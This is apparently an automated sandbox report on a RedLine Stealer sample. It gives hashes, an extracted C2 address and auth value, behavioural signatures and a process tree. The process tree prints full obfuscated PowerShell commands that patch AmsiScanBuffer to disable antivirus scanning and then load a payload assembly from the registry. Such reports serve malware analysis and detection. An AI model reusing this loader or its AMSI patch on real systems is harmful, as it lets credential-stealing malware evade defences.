Analysis
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max time kernel
43s -
max time network
76s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:35
Static task
static1
Behavioral task
behavioral1
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win10v2004-20220901-en
General
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Target
17855519b9e1bde7cabf66a422b5671d4d462968.exe
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Size
365KB
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MD5
ee244310289c82ebe8c73cfd83329f49
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SHA1
17855519b9e1bde7cabf66a422b5671d4d462968
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SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
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SHA512
20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
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SSDEEP
6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/1612-174-0x0000000000730000-0x0000000000750000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 3468 created 3048 3468 SmartDefRun.exe 67 PID 3468 created 3048 3468 SmartDefRun.exe 67 PID 3468 created 3048 3468 SmartDefRun.exe 67 PID 3468 created 3048 3468 SmartDefRun.exe 67 PID 1636 created 604 1636 powershell.EXE 4 -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 1556 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 396 C4Loader.exe 336 new2.exe 1152 SysApp.exe 3468 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4712 set thread context of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 336 set thread context of 1612 336 new2.exe 92 PID 3468 set thread context of 2380 3468 SmartDefRun.exe 113 PID 1636 set thread context of 1472 1636 powershell.EXE 118 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4076 sc.exe 1176 sc.exe 956 sc.exe 2404 sc.exe 5032 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 3428 4712 WerFault.exe 79 4072 336 WerFault.exe 88 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 1556 powershell.exe 1556 powershell.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1152 SysApp.exe 1612 vbc.exe 3468 SmartDefRun.exe 3468 SmartDefRun.exe 4388 powershell.exe 4388 powershell.exe 3468 SmartDefRun.exe 3468 SmartDefRun.exe 3468 SmartDefRun.exe 3468 SmartDefRun.exe 4232 powershell.exe 4232 powershell.exe 3468 SmartDefRun.exe 3468 SmartDefRun.exe 1636 powershell.EXE 4776 powershell.EXE 1636 powershell.EXE 4776 powershell.EXE 1636 powershell.EXE 1472 dllhost.exe 1472 dllhost.exe 1472 dllhost.exe 1472 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1556 powershell.exe Token: SeDebugPrivilege 1612 vbc.exe Token: SeDebugPrivilege 4388 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeSystemEnvironmentPrivilege 4232 powershell.exe Token: SeRemoteShutdownPrivilege 4232 powershell.exe Token: SeUndockPrivilege 4232 powershell.exe Token: SeManageVolumePrivilege 4232 powershell.exe Token: 33 4232 powershell.exe Token: 34 4232 powershell.exe Token: 35 4232 powershell.exe Token: 36 4232 powershell.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeSystemEnvironmentPrivilege 4232 powershell.exe Token: SeRemoteShutdownPrivilege 4232 powershell.exe Token: SeUndockPrivilege 4232 powershell.exe Token: SeManageVolumePrivilege 4232 powershell.exe Token: 33 4232 powershell.exe Token: 34 4232 powershell.exe Token: 35 4232 powershell.exe Token: 36 4232 powershell.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeSystemEnvironmentPrivilege 4232 powershell.exe Token: SeRemoteShutdownPrivilege 4232 powershell.exe Token: SeUndockPrivilege 4232 powershell.exe Token: SeManageVolumePrivilege 4232 powershell.exe Token: 33 4232 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4712 wrote to memory of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4712 wrote to memory of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4712 wrote to memory of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4712 wrote to memory of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4712 wrote to memory of 4952 4712 17855519b9e1bde7cabf66a422b5671d4d462968.exe 81 PID 4952 wrote to memory of 1556 4952 vbc.exe 85 PID 4952 wrote to memory of 1556 4952 vbc.exe 85 PID 4952 wrote to memory of 1556 4952 vbc.exe 85 PID 1556 wrote to memory of 396 1556 powershell.exe 87 PID 1556 wrote to memory of 396 1556 powershell.exe 87 PID 1556 wrote to memory of 396 1556 powershell.exe 87 PID 1556 wrote to memory of 336 1556 powershell.exe 88 PID 1556 wrote to memory of 336 1556 powershell.exe 88 PID 1556 wrote to memory of 336 1556 powershell.exe 88 PID 1556 wrote to memory of 1152 1556 powershell.exe 90 PID 1556 wrote to memory of 1152 1556 powershell.exe 90 PID 1556 wrote to memory of 1152 1556 powershell.exe 90 PID 1556 wrote to memory of 3468 1556 powershell.exe 91 PID 1556 wrote to memory of 3468 1556 powershell.exe 91 PID 336 wrote to memory of 1612 336 new2.exe 92 PID 336 wrote to memory of 1612 336 new2.exe 92 PID 336 wrote to memory of 1612 336 new2.exe 92 PID 336 wrote to memory of 1612 336 new2.exe 92 PID 336 wrote to memory of 1612 336 new2.exe 92 PID 376 wrote to memory of 4076 376 cmd.exe 102 PID 376 wrote to memory of 4076 376 cmd.exe 102 PID 376 wrote to memory of 1176 376 cmd.exe 103 PID 376 wrote to memory of 1176 376 cmd.exe 103 PID 376 wrote to memory of 956 376 cmd.exe 104 PID 376 wrote to memory of 956 376 cmd.exe 104 PID 376 wrote to memory of 2404 376 cmd.exe 105 PID 376 wrote to memory of 2404 376 cmd.exe 105 PID 376 wrote to memory of 5032 376 cmd.exe 106 PID 376 wrote to memory of 5032 376 cmd.exe 106 PID 376 wrote to memory of 4496 376 cmd.exe 107 PID 376 wrote to memory of 4496 376 cmd.exe 107 PID 376 wrote to memory of 4616 376 cmd.exe 109 PID 376 wrote to memory of 4616 376 cmd.exe 109 PID 376 wrote to memory of 2396 376 cmd.exe 110 PID 376 wrote to memory of 2396 376 cmd.exe 110 PID 376 wrote to memory of 3916 376 cmd.exe 111 PID 376 wrote to memory of 3916 376 cmd.exe 111 PID 376 wrote to memory of 3772 376 cmd.exe 112 PID 376 wrote to memory of 3772 376 cmd.exe 112 PID 3468 wrote to memory of 2380 3468 SmartDefRun.exe 113 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1636 wrote to memory of 1472 1636 powershell.EXE 118 PID 1472 wrote to memory of 604 1472 dllhost.exe 4 PID 1472 wrote to memory of 656 1472 dllhost.exe 7 PID 1472 wrote to memory of 932 1472 dllhost.exe 9 PID 1472 wrote to memory of 1016 1472 dllhost.exe 12 PID 1472 wrote to memory of 60 1472 dllhost.exe 10 PID 1472 wrote to memory of 640 1472 dllhost.exe 13 PID 1472 wrote to memory of 1044 1472 dllhost.exe 17 PID 1472 wrote to memory of 1052 1472 dllhost.exe 20 PID 1472 wrote to memory of 1140 1472 dllhost.exe 18 PID 1472 wrote to memory of 1192 1472 dllhost.exe 19
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:604
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1016
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f19fa9cb-7632-48f3-8dbf-18f4f858b499}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1472
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:932
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:60
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:640
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1140
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2436
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:AhpbyzvLuHzG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RzVAsckbTiYtXv,[Parameter(Position=1)][Type]$nDpRuxhSpr)$GCeEyVQYiYa=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+'ec'+'t'+''+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+'ega'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+'e'+'','C'+[Char](108)+'a'+'s'+'s'+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+'c,S'+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+'d'+''+','+''+'A'+''+[Char](110)+''+'s'+''+'i'+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+'u'+''+'t'+''+'o'+'C'+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$GCeEyVQYiYa.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+'u'+'bli'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$RzVAsckbTiYtXv).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+'ime,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$GCeEyVQYiYa.DefineMethod('I'+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+[Char](98)+'lic'+','+'Hi'+'d'+'e'+[Char](66)+''+'y'+'S'+[Char](105)+'g'+[Char](44)+'N'+'e'+'w'+'S'+''+[Char](108)+''+'o'+''+'t'+''+','+'V'+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+''+[Char](108)+'',$nDpRuxhSpr,$RzVAsckbTiYtXv).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+'ged');Write-Output $GCeEyVQYiYa.CreateType();}$GHnmTmPBfxwoF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+'r'+[Char](111)+'s'+'o'+'f'+'t'+''+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+'eG'+[Char](72)+''+[Char](110)+''+[Char](109)+''+'T'+'m'+[Char](80)+''+[Char](66)+'f'+'x'+''+[Char](119)+''+'o'+''+'F'+'');$znbPEWUGCyYxcl=$GHnmTmPBfxwoF.GetMethod(''+[Char](122)+''+[Char](110)+'b'+'P'+''+[Char](69)+''+'W'+'U'+[Char](71)+''+[Char](67)+'y'+[Char](89)+''+[Char](120)+'c'+[Char](108)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+'b'+'lic,'+'S'+''+'t'+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FEoOZYQrTcXiEFZMEhi=AhpbyzvLuHzG @([String])([IntPtr]);$uviEJGGLXOaegpVlQiBcgp=AhpbyzvLuHzG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rMAtiLECRfR=$GHnmTmPBfxwoF.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+'u'+'l'+''+[Char](101)+''+'H'+'a'+'n'+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$XOiYQtZKnUCMtL=$znbPEWUGCyYxcl.Invoke($Null,@([Object]$rMAtiLECRfR,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+'r'+'a'+''+'r'+''+'y'+'A')));$VhcTEOezqCLUTIheT=$znbPEWUGCyYxcl.Invoke($Null,@([Object]$rMAtiLECRfR,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+'l'+'Pr'+'o'+''+'t'+'ec'+'t'+'')));$aVTTSqT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XOiYQtZKnUCMtL,$FEoOZYQrTcXiEFZMEhi).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+'i'+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$nCsfeGShxSjqwgFNj=$znbPEWUGCyYxcl.Invoke($Null,@([Object]$aVTTSqT,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+'u'+'f'+'fe'+'r'+'')));$qSqaYJMlyV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VhcTEOezqCLUTIheT,$uviEJGGLXOaegpVlQiBcgp).Invoke($nCsfeGShxSjqwgFNj,[uint32]8,4,[ref]$qSqaYJMlyV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$nCsfeGShxSjqwgFNj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VhcTEOezqCLUTIheT,$uviEJGGLXOaegpVlQiBcgp).Invoke($nCsfeGShxSjqwgFNj,[uint32]8,0x20,[ref]$qSqaYJMlyV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+[Char](87)+'A'+'R'+'E').GetValue(''+'d'+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+'t'+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4776 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ylbqpHGbDiHW{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UYeHxGDFlKIZDd,[Parameter(Position=1)][Type]$NWORuFSQCW)$RCVOkOJymUG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+'e'+'l'+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+'p'+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'Se'+'a'+''+'l'+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+[Char](110)+'s'+'i'+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+','+[Char](65)+''+[Char](117)+'toCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RCVOkOJymUG.DefineConstructor(''+'R'+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+'lN'+[Char](97)+''+[Char](109)+''+'e'+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$UYeHxGDFlKIZDd).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+[Char](11